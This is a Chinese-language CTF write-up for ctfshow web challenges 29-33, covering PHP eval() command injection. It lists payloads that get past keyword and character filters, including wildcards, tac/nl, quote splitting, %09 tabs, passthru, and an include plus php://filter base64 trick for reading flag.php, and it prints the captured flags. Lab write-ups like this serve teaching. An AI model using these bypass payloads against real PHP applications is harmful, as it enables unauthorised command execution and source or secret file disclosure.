ctfshow[Web入门(29-33)]

Web入门(29-33)

Web29

1、看到题目给的代码,我们要读懂代码,代码告诉我们,可以利用上传c参数的方式通过url获取用户输入,但会过滤flag,且不区分大小写(/i)

2、这时候我们可以利用通配符(*)和匹配任意单个字符(.),代表flag中的某个字符

?c=system("cat fla*g.php | grep -E 'fl.g'");

3、将上面的代码写进url中得到flag

拓展:

当字符串中没有出现连续的flag时,我们可以用tac(跟cat相反,他是从行的下往上读取)

?c=system("tac f*ag.php | grep -E 'fl.g'"); 通配符和匹配任意单字符随意变换位置都可以
?c=system("tac fla*"); *固定位置

Web30

1、看到代码,过滤了flag、system、php,且不区分大小写,想到上一个用到的tac

?c=echo `tac fla*`;

拓展:

?c=echo `nl fl''ag.p''hp`;

在单引号内,’ ‘ 表示一个空单引号字符串,Shell 会将 fl + (空字符串) + ag.p + (空字符串) + hp 拼接成 flag.php

Web31

根据题目给的,flag、system、php、cat、sort、shell、. 、‘ ,都被过滤了,使用下面的payload绕过过滤

?c=passthru("tac%09fla*");

passthru() 是 PHP 的命令执行函数(未被过滤),它会执行系统命令并直接将输出原始显示到页面(比 system() 更直接,不带额外格式

%09 是 URL 编码的水平制表符(Horizontal Tab,简称 HT 或 Tab)。

在 PHP 的 $_GET 参数解析中,URL 解码会发生在正则过滤之前。

所以传入的参数实际到达代码时,%09 已经被解码成一个真正的 Tab 字符(ASCII 9)。

Tab 字符在 Shell 中等价于空格,可以作为命令参数分隔符使用。

而原代码的正则过滤了空格 (注意是普通空格),没有过滤 Tab,所以 %09 成功绕过了空格过滤。

最终执行的命令等价于: tac fla*(中间是 Tab 分隔)

Web32

1、题目说:命令执行,需要严格的过滤

2、看到上面这张图,发现阻止了常见CTF中的读文件(cat flag.php等)、命令执行(system、shell、echo)和SQL注入payload中的关键字符(空格、引号、反引号、分号、点、括号),我们利用参数 c,将恶意代码(include…)注入到服务器端已有的 eval() 函数中去执行

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

解释一下这个payload是如何工作的

我们实际传入的:

c = include\n$_GET[1]?>
1 = php://filter/read=convert.base64-encode/resource=flag.php

但是程序执行的:

$c = "include\n\$_GET[1]?>";

没有触发黑名单,正则匹配失败–>进入eval($c),eval()执行的内容

include
$_GET[1]?>
等于执行了
include $_GET[1];
?>

但是$_GET[1]由我们控制,所执行的代码为:

include 'php://filter/read=convert.base64-encode/resource=flag.php';

代码解读:

php://filter 的作用:读取 flag.php 文件通过 convert.base64-encode 过滤器,将其内容进行 Base64 编码后直接输出,这样即使 flag.php 里有 flag=、php、. 等关键词,也不会触发过滤(输出的是编码后的字符串)

php://filter是流过滤器
官方常见过滤器:
convert.base64-encode --> 把内容转成 Base64 编码
convert.base64-decode --> 解码 Base64
string.rot13 --> ROT13 加密
string.toupper --> 转大写
zlib.deflate --> 压缩
等等
只有被include、require、file_get_contents等读取文件的函数使用时php://filetr才会生效

3、利用以上所提供的代码,我们可以得到base64编码出来的flag.php文件内容

4、利用工具解码,得到flag

flag=”ctfshow{eea769b2-df53-4336-ab55-c873c3bf959d}”

Web33

1、题目说:命令执行,需要严格的过滤

2、跟上面那题一样,用相同的代码

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

3、得出base64编码的flag.php文件

4、利用工具解码得到flag

flag=”ctfshow{5fe02e8f-74cd-4667-af75-50bbf2b43992}”

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇